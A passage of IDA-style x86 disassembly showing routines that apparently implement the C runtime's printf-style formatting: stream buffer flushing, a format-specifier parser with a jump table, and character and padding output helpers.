		test	al, 40h
		jnz	loc_419E2C
		test	al, 1
		jz	short loc_419D5B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419E2C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_419D5B:				; CODE XREF: sub_419D23+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_419D95
		cmp	esi, offset dword_4363A8
		jz	short loc_419D83
		cmp	esi, offset dword_4363C8
		jnz	short loc_419D8E


loc_419D83:				; CODE XREF: sub_419D23+56j
		push	ebx
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jnz	short loc_419D95


loc_419D8E:				; CODE XREF: sub_419D23+5Ej
		push	esi
		call	sub_41F9D8
		pop	ecx


loc_419D95:				; CODE XREF: sub_419D23+4Ej
					; sub_419D23+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_419E02
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_419DC5
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_419DF8
; ---------------------------------------------------------------------------


loc_419DC5:				; CODE XREF: sub_419D23+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_419DE0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_419DE5
; ---------------------------------------------------------------------------


loc_419DE0:				; CODE XREF: sub_419D23+A5j
		mov	eax, offset dword_4362F0


loc_419DE5:				; CODE XREF: sub_419D23+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_419DF8
		push	2
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch


loc_419DF8:				; CODE XREF: sub_419D23+A0j
					; sub_419D23+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_419E16
; ---------------------------------------------------------------------------


loc_419E02:				; CODE XREF: sub_419D23+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_419E16:				; CODE XREF: sub_419D23+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_419E22
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_419E31
; ---------------------------------------------------------------------------


loc_419E22:				; CODE XREF: sub_419D23+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_419E34
; ---------------------------------------------------------------------------


loc_419E2C:				; CODE XREF: sub_419D23+10j
					; sub_419D23+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_419E31:				; CODE XREF: sub_419D23+FDj
		or	eax, 0FFFFFFFFh


loc_419E34:				; CODE XREF: sub_419D23+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419D23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; CODE XREF: sub_4172B0+29p
					; sub_41782A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41A551
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_419E6C
; ---------------------------------------------------------------------------


loc_419E64:				; CODE XREF: sub_419E38+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_419E6C:				; CODE XREF: sub_419E38+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41A551
		cmp	bl, 20h
		jl	short loc_419E8D
		cmp	bl, 78h
		jg	short loc_419E8D
		movsx	eax, bl
		mov	al, [eax+42469Ch]
		and	eax, 0Fh
		jmp	short loc_419E8F
; ---------------------------------------------------------------------------


loc_419E8D:				; CODE XREF: sub_419E38+40j
					; sub_419E38+45j
		xor	eax, eax


loc_419E8F:				; CODE XREF: sub_419E38+53j
		movsx	eax, byte_4246BC[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41A540	; default
		jmp	off_41A559[eax*4] ; switch jump


loc_419EAD:				; DATA XREF: ___:off_41A559o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EC8:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 2
		sub	eax, 20h
		jz	short loc_419F0B
		sub	eax, 3
		jz	short loc_419F02
		sub	eax, 8
		jz	short loc_419EF9
		dec	eax
		dec	eax
		jz	short loc_419EF0
		sub	eax, 3
		jnz	loc_41A540	; default
		or	[ebp+var_4], 8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EF0:				; CODE XREF: sub_419E38+A4j
		or	[ebp+var_4], 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419EF9:				; CODE XREF: sub_419E38+A0j
		or	[ebp+var_4], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F02:				; CODE XREF: sub_419E38+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F0B:				; CODE XREF: sub_419E38+96j
		or	[ebp+var_4], 2
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F14:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 3
		jnz	short loc_419F3C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41A540	; default
		or	[ebp+var_4], 4
		neg	eax


loc_419F34:				; CODE XREF: sub_419E38+111j
		mov	[ebp+var_20], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F3C:				; CODE XREF: sub_419E38+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_419F34
; ---------------------------------------------------------------------------


loc_419F4B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	[ebp+var_10], edx ; jumptable 00419EA6 case 4
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F53:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 2Ah		; jumptable 00419EA6 case 5
		jnz	short loc_419F76
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41A540	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F76:				; CODE XREF: sub_419E38+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419F88:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		cmp	bl, 49h		; jumptable 00419EA6 case 6
		jz	short loc_419FBB
		cmp	bl, 68h
		jz	short loc_419FB2
		cmp	bl, 6Ch
		jz	short loc_419FA9
		cmp	bl, 77h
		jnz	loc_41A540	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FA9:				; CODE XREF: sub_419E38+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FB2:				; CODE XREF: sub_419E38+158j
		or	[ebp+var_4], 20h
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FBB:				; CODE XREF: sub_419E38+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_419FD4
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_419FD4
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_419FD4:				; CODE XREF: sub_419E38+186j
					; sub_419E38+18Cj
		mov	[ebp+var_30], edx


loc_419FD7:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		mov	ecx, off_433C70	; jumptable 00419EA6 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41A003
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41A003:				; CODE XREF: sub_419E38+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_41A01B:				; CODE XREF: sub_419E38+6Ej
					; DATA XREF: ___:off_41A559o
		movsx	eax, bl		; jumptable 00419EA6 case 7
		cmp	eax, 67h
		jg	loc_41A243
		cmp	eax, 65h
		jge	loc_41A0C6
		cmp	eax, 58h
		jg	loc_41A124
		jz	loc_41A2B7
		sub	eax, 43h
		jz	loc_41A0E7
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		dec	eax
		dec	eax
		jz	short loc_41A0BC
		sub	eax, 0Ch
		jnz	loc_41A442
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A065
		or	byte ptr [ebp+var_4+1],	8


loc_41A065:				; CODE XREF: sub_419E38+227j
					; sub_419E38+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41A072
		mov	esi, 7FFFFFFFh


loc_41A072:				; CODE XREF: sub_419E38+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41A28B
		test	ecx, ecx
		jnz	short loc_41A09A
		mov	ecx, off_433C6C
		mov	[ebp+var_8], ecx


loc_41A09A:				; CODE XREF: sub_419E38+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41A0A3:				; CODE XREF: sub_419E38+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41A282
		cmp	word ptr [eax],	0
		jz	loc_41A282
		inc	eax
		inc	eax
		jmp	short loc_41A0A3
; ---------------------------------------------------------------------------


loc_41A0BC:				; CODE XREF: sub_419E38+212j
					; sub_419E38+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41A0C6:				; CODE XREF: sub_419E38+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41A1AA
		mov	[ebp+var_10], 6
		jmp	loc_41A1B8
; ---------------------------------------------------------------------------


loc_41A0E7:				; CODE XREF: sub_419E38+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41A0F3
		or	byte ptr [ebp+var_4+1],	8


loc_41A0F3:				; CODE XREF: sub_419E38+2B5j
					; sub_419E38+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A13A
		call	sub_41A634
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41FAFB
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41A14D
		mov	[ebp+var_28], 1
		jmp	short loc_41A14D
; ---------------------------------------------------------------------------


loc_41A124:				; CODE XREF: sub_419E38+1FBj
		sub	eax, 5Ah
		jz	short loc_41A15B
		sub	eax, 9
		jz	short loc_41A0F3
		dec	eax
		jz	loc_41A31D
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A13A:				; CODE XREF: sub_419E38+2C5j
		call	sub_41A617
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41A14D:				; CODE XREF: sub_419E38+2E1j
					; sub_419E38+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A15B:				; CODE XREF: sub_419E38+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	eax, eax
		pop	ecx
		jz	short loc_41A19C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41A19C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41A18D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41A442
; ---------------------------------------------------------------------------


loc_41A18D:				; CODE XREF: sub_419E38+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A19C:				; CODE XREF: sub_419E38+32Fj
					; sub_419E38+336j
		mov	eax, off_433C68
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41A238
; ---------------------------------------------------------------------------


loc_41A1AA:				; CODE XREF: sub_419E38+29Dj
		jnz	short loc_41A1B8
		cmp	bl, 67h
		jnz	short loc_41A1B8
		mov	[ebp+var_10], 1


loc_41A1B8:				; CODE XREF: sub_419E38+2AAj
					; sub_419E38:loc_41A1AAj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_435FD0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41A20A
		cmp	[ebp+var_10], 0
		jnz	short loc_41A20A
		lea	eax, [ebp+var_248]
		push	eax
		call	off_435FDC
		pop	ecx


loc_41A20A:				; CODE XREF: sub_419E38+3BCj
					; sub_419E38+3C2j
		cmp	bl, 67h
		jnz	short loc_41A221
		test	esi, esi
		jnz	short loc_41A221
		lea	eax, [ebp+var_248]
		push	eax
		call	off_435FD4
		pop	ecx


loc_41A221:				; CODE XREF: sub_419E38+3D5j
					; sub_419E38+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41A237
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41A237:				; CODE XREF: sub_419E38+3F0j
		push	edi


loc_41A238:				; CODE XREF: sub_419E38+36Dj
		call	sub_417AB0
		pop	ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A243:				; CODE XREF: sub_419E38+1E9j
		sub	eax, 69h
		jz	loc_41A31D
		sub	eax, 5
		jz	loc_41A2F3
		dec	eax
		jz	loc_41A2E0
		dec	eax
		jz	short loc_41A2B0
		sub	eax, 3
		jz	loc_41A065
		dec	eax
		dec	eax
		jz	loc_41A321
		sub	eax, 3
		jnz	loc_41A442
		mov	[ebp+var_2C], 27h
		jmp	short loc_41A2BE
; ---------------------------------------------------------------------------


loc_41A282:				; CODE XREF: sub_419E38+270j
					; sub_419E38+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A28B:				; CODE XREF: sub_419E38+24Fj
		test	ecx, ecx
		jnz	short loc_41A298
		mov	ecx, off_433C68
		mov	[ebp+var_8], ecx


loc_41A298:				; CODE XREF: sub_419E38+455j
		mov	eax, ecx


loc_41A29A:				; CODE XREF: sub_419E38+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41A2A9
		cmp	byte ptr [eax],	0
		jz	short loc_41A2A9
		inc	eax
		jmp	short loc_41A29A
; ---------------------------------------------------------------------------


loc_41A2A9:				; CODE XREF: sub_419E38+467j
					; sub_419E38+46Cj
		sub	eax, ecx
		jmp	loc_41A43F
; ---------------------------------------------------------------------------


loc_41A2B0:				; CODE XREF: sub_419E38+425j
		mov	[ebp+var_10], 8


loc_41A2B7:				; CODE XREF: sub_419E38+201j
		mov	[ebp+var_2C], 7


loc_41A2BE:				; CODE XREF: sub_419E38+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41A328
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41A328
; ---------------------------------------------------------------------------


loc_41A2E0:				; CODE XREF: sub_419E38+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41A328
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41A328
; ---------------------------------------------------------------------------


loc_41A2F3:				; CODE XREF: sub_419E38+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A617
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41A30C
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41A311
; ---------------------------------------------------------------------------


loc_41A30C:				; CODE XREF: sub_419E38+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41A311:				; CODE XREF: sub_419E38+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41A540	; default
; ---------------------------------------------------------------------------


loc_41A31D:				; CODE XREF: sub_419E38+2F7j
					; sub_419E38+40Ej
		or	[ebp+var_4], 40h


loc_41A321:				; CODE XREF: sub_419E38+432j
		mov	[ebp+var_C], 0Ah


loc_41A328:				; CODE XREF: sub_419E38+491j
					; sub_419E38+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41A33A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41A624
		pop	ecx
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------


loc_41A33A:				; CODE XREF: sub_419E38+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41A361
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A356
		call	sub_41A617
		pop	ecx
		movsx	eax, ax


loc_41A353:				; CODE XREF: sub_419E38+527j
					; sub_419E38+539j
		cdq
		jmp	short loc_41A37B
; ---------------------------------------------------------------------------


loc_41A356:				; CODE XREF: sub_419E38+510j
		call	sub_41A617
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A361:				; CODE XREF: sub_419E38+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41A373
		call	sub_41A617
		pop	ecx
		jmp	short loc_41A353
; ---------------------------------------------------------------------------


loc_41A373:				; CODE XREF: sub_419E38+531j
		call	sub_41A617
		pop	ecx
		xor	edx, edx


loc_41A37B:				; CODE XREF: sub_419E38+500j
					; sub_419E38+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41A39C
		test	edx, edx
		jg	short loc_41A39C
		jl	short loc_41A38B
		test	eax, eax
		jnb	short loc_41A39C


loc_41A38B:				; CODE XREF: sub_419E38+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41A3A0
; ---------------------------------------------------------------------------


loc_41A39C:				; CODE XREF: sub_419E38+547j
					; sub_419E38+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41A3A0:				; CODE XREF: sub_419E38+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41A3A9
		and	edi, 0


loc_41A3A9:				; CODE XREF: sub_419E38+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41A3B8
		mov	[ebp+var_10], 1
		jmp	short loc_41A3BC
; ---------------------------------------------------------------------------


loc_41A3B8:				; CODE XREF: sub_419E38+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41A3BC:				; CODE XREF: sub_419E38+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41A3C6
		and	[ebp+var_1C], 0


loc_41A3C6:				; CODE XREF: sub_419E38+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41A3CC:				; CODE XREF: sub_419E38+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41A3DC
		mov	eax, esi
		or	eax, edi
		jz	short loc_41A417


loc_41A3DC:				; CODE XREF: sub_419E38+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4191D0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_419250
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41A40D
		add	ebx, [ebp+var_2C]


loc_41A40D:				; CODE XREF: sub_419E38+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41A3CC
; ---------------------------------------------------------------------------


loc_41A417:				; CODE XREF: sub_419E38+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41A442
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41A435
		test	eax, eax
		jnz	short loc_41A442


loc_41A435:				; CODE XREF: sub_419E38+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41A43F:				; CODE XREF: sub_419E38+35Fj
					; sub_419E38+406j ...
		mov	[ebp+var_C], eax


loc_41A442:				; CODE XREF: sub_419E38+21Bj
					; sub_419E38+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41A540	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41A47A
		test	bh, 1
		jz	short loc_41A45F
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------


loc_41A45F:				; CODE XREF: sub_419E38+61Fj
		test	bl, 1
		jz	short loc_41A46A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41A473
; ---------------------------------------------------------------------------


loc_41A46A:				; CODE XREF: sub_419E38+62Aj
		test	bl, 2
		jz	short loc_41A47A
		mov	[ebp+var_16], 20h


loc_41A473:				; CODE XREF: sub_419E38+625j
					; sub_419E38+630j
		mov	[ebp+var_1C], 1


loc_41A47A:				; CODE XREF: sub_419E38+61Aj
					; sub_419E38+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41A49A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h


loc_41A49A:				; CODE XREF: sub_419E38+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		test	bl, 8
		jz	short loc_41A4CC
		test	bl, 4
		jnz	short loc_41A4CC
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41A5AE
		add	esp, 10h


loc_41A4CC:				; CODE XREF: sub_419E38+67Bj
					; sub_419E38+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41A513
		cmp	[ebp+var_C], 0
		jle	short loc_41A513
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41A4E1:				; CODE XREF: sub_419E38+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41FAFB
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41A528
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41A5DF
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41A4E1
		jmp	short loc_41A528
; ---------------------------------------------------------------------------


loc_41A513:				; CODE XREF: sub_419E38+698j
					; sub_419E38+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41A5DF
		add	esp, 10h


loc_41A528:				; CODE XREF: sub_419E38+6BCj
					; sub_419E38+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41A540 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41A5AE
		add	esp, 10h


loc_41A540:				; CODE XREF: sub_419E38+68j
					; sub_419E38+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_419E64


loc_41A551:				; CODE XREF: sub_419E38+1Fj
					; sub_419E38+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419E38	endp

; ---------------------------------------------------------------------------
off_41A559	dd offset loc_419FD7	; DATA XREF: sub_419E38+6Er
		dd offset loc_419EAD	; jump table for switch	statement
		dd offset loc_419EC8
		dd offset loc_419F14
		dd offset loc_419F4B
		dd offset loc_419F53
		dd offset loc_419F88
		dd offset loc_41A01B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A579	proc near		; CODE XREF: sub_419E38+1BDp
					; sub_419E38+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41A592
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41A59D
; ---------------------------------------------------------------------------


loc_41A592:				; CODE XREF: sub_41A579+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_41A59D:				; CODE XREF: sub_41A579+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41A5AA
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A5AA:				; CODE XREF: sub_41A579+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41A579	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5AE	proc near		; CODE XREF: sub_419E38+65Ap
					; sub_419E38+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41A5DC
		mov	esi, [esp+8+arg_C]


loc_41A5BF:				; CODE XREF: sub_41A5AE+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41A5DC
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41A5BF


loc_41A5DC:				; CODE XREF: sub_41A5AE+Bj
					; sub_41A5AE+25j
		pop	edi
		pop	esi
		retn
sub_41A5AE	endp


; =============== S U B	R O U T	I N E =======================================



